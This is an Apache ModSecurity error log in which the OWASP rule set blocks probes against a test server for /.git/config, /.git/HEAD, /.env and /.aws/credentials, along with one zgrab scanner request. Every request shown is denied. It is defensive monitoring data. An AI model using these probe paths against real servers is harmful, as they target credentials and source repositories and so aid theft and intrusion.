[Sat Jul 05 19:32:20.281951 2025] [:error] [pid 945017] [client 34.162.213.107:49170] [client 34.162.213.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGlhpAYPiW9TpyX8DsazMQAAAAM&quot;]
[Sat Jul 05 19:32:20.282177 2025] [:error] [pid 945017] [client 34.162.213.107:49170] [client 34.162.213.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGlhpAYPiW9TpyX8DsazMQAAAAM&quot;]
[Sat Jul 05 19:32:20.282394 2025] [:error] [pid 945017] [client 34.162.213.107:49170] [client 34.162.213.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGlhpAYPiW9TpyX8DsazMQAAAAM&quot;]
[Sat Jul 05 22:21:17.795110 2025] [:error] [pid 945020] [client 34.162.58.99:59678] [client 34.162.58.99] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGmJPXmYY6U6UiQyU3bChgAAAAU&quot;]
[Sat Jul 05 22:21:17.795434 2025] [:error] [pid 945020] [client 34.162.58.99:59678] [client 34.162.58.99] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGmJPXmYY6U6UiQyU3bChgAAAAU&quot;]
[Sat Jul 05 22:21:17.795606 2025] [:error] [pid 945020] [client 34.162.58.99:59678] [client 34.162.58.99] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGmJPXmYY6U6UiQyU3bChgAAAAU&quot;]
[Sat Jul 05 22:21:17.905315 2025] [:error] [pid 945020] [client 34.162.58.99:59678] [client 34.162.58.99] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGmJPXmYY6U6UiQyU3bChwAAAAU&quot;]
[Sat Jul 05 22:21:17.905532 2025] [:error] [pid 945020] [client 34.162.58.99:59678] [client 34.162.58.99] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGmJPXmYY6U6UiQyU3bChwAAAAU&quot;]
[Sat Jul 05 22:21:17.905706 2025] [:error] [pid 945020] [client 34.162.58.99:59678] [client 34.162.58.99] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGmJPXmYY6U6UiQyU3bChwAAAAU&quot;]
[Sun Jul 06 02:33:39.914928 2025] [:error] [pid 964486] [client 77.90.153.227:57938] [client 77.90.153.227] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGnEY5_XjI1sh51iQy-_uAAAAAc&quot;]
[Sun Jul 06 02:33:39.915160 2025] [:error] [pid 964486] [client 77.90.153.227:57938] [client 77.90.153.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGnEY5_XjI1sh51iQy-_uAAAAAc&quot;]
[Sun Jul 06 02:33:39.915330 2025] [:error] [pid 964486] [client 77.90.153.227:57938] [client 77.90.153.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGnEY5_XjI1sh51iQy-_uAAAAAc&quot;]
[Sun Jul 06 02:33:40.112256 2025] [:error] [pid 964485] [client 77.90.153.227:57944] [client 77.90.153.227] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGnEZMIbBjcmfwUN4XFf-gAAAAY&quot;]
[Sun Jul 06 02:33:40.112602 2025] [:error] [pid 964485] [client 77.90.153.227:57944] [client 77.90.153.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGnEZMIbBjcmfwUN4XFf-gAAAAY&quot;]
[Sun Jul 06 02:33:40.112856 2025] [:error] [pid 964485] [client 77.90.153.227:57944] [client 77.90.153.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGnEZMIbBjcmfwUN4XFf-gAAAAY&quot;]
[Sun Jul 06 05:35:51.843161 2025] [:error] [pid 968044] [client 194.26.192.144:46540] [client 194.26.192.144] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGnvFxcrdhACkz4kNY6eigAAAAU&quot;]
[Sun Jul 06 05:35:51.843461 2025] [:error] [pid 968044] [client 194.26.192.144:46540] [client 194.26.192.144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGnvFxcrdhACkz4kNY6eigAAAAU&quot;]
[Sun Jul 06 05:35:51.843644 2025] [:error] [pid 968044] [client 194.26.192.144:46540] [client 194.26.192.144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGnvFxcrdhACkz4kNY6eigAAAAU&quot;]
[Sun Jul 06 11:42:45.713395 2025] [:error] [pid 971495] [client 34.162.91.162:34254] [client 34.162.91.162] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGpFFe2Nyf8Rve5hHQmvuQAAAAk&quot;]
[Sun Jul 06 11:42:45.713629 2025] [:error] [pid 971495] [client 34.162.91.162:34254] [client 34.162.91.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGpFFe2Nyf8Rve5hHQmvuQAAAAk&quot;]
[Sun Jul 06 11:42:45.713834 2025] [:error] [pid 971495] [client 34.162.91.162:34254] [client 34.162.91.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGpFFe2Nyf8Rve5hHQmvuQAAAAk&quot;]
[Sun Jul 06 11:42:45.824306 2025] [:error] [pid 971495] [client 34.162.91.162:34254] [client 34.162.91.162] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGpFFe2Nyf8Rve5hHQmvugAAAAk&quot;]
[Sun Jul 06 11:42:45.824543 2025] [:error] [pid 971495] [client 34.162.91.162:34254] [client 34.162.91.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGpFFe2Nyf8Rve5hHQmvugAAAAk&quot;]
[Sun Jul 06 11:42:45.824754 2025] [:error] [pid 971495] [client 34.162.91.162:34254] [client 34.162.91.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGpFFe2Nyf8Rve5hHQmvugAAAAk&quot;]
[Mon Jul 07 16:30:57.314329 2025] [:error] [pid 989737] [client 143.198.191.145:53440] [client 143.198.191.145] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGvaIRJindOavju_e6FH2AAAAAE&quot;]
[Mon Jul 07 16:30:57.315717 2025] [:error] [pid 989737] [client 143.198.191.145:53440] [client 143.198.191.145] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGvaIRJindOavju_e6FH2AAAAAE&quot;]
[Mon Jul 07 16:30:57.315895 2025] [:error] [pid 989737] [client 143.198.191.145:53440] [client 143.198.191.145] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGvaIRJindOavju_e6FH2AAAAAE&quot;]
[Tue Jul 08 22:18:43.832572 2025] [:error] [pid 1019731] [client 93.123.109.7:35490] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aG19I4OzY7QMeULNSgpz9AAAAAE&quot;]
[Tue Jul 08 22:18:43.832858 2025] [:error] [pid 1019731] [client 93.123.109.7:35490] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aG19I4OzY7QMeULNSgpz9AAAAAE&quot;]
[Tue Jul 08 22:18:43.833060 2025] [:error] [pid 1019731] [client 93.123.109.7:35490] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aG19I4OzY7QMeULNSgpz9AAAAAE&quot;]
[Wed Jul 09 05:43:46.373982 2025] [:error] [pid 1038973] [client 3.22.104.232:47794] [client 3.22.104.232] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aG3lckyuGrklR8K3jTrUQQAAAAM&quot;]
[Wed Jul 09 05:43:46.374444 2025] [:error] [pid 1038973] [client 3.22.104.232:47794] [client 3.22.104.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aG3lckyuGrklR8K3jTrUQQAAAAM&quot;]
[Wed Jul 09 05:43:46.374668 2025] [:error] [pid 1038973] [client 3.22.104.232:47794] [client 3.22.104.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aG3lckyuGrklR8K3jTrUQQAAAAM&quot;]
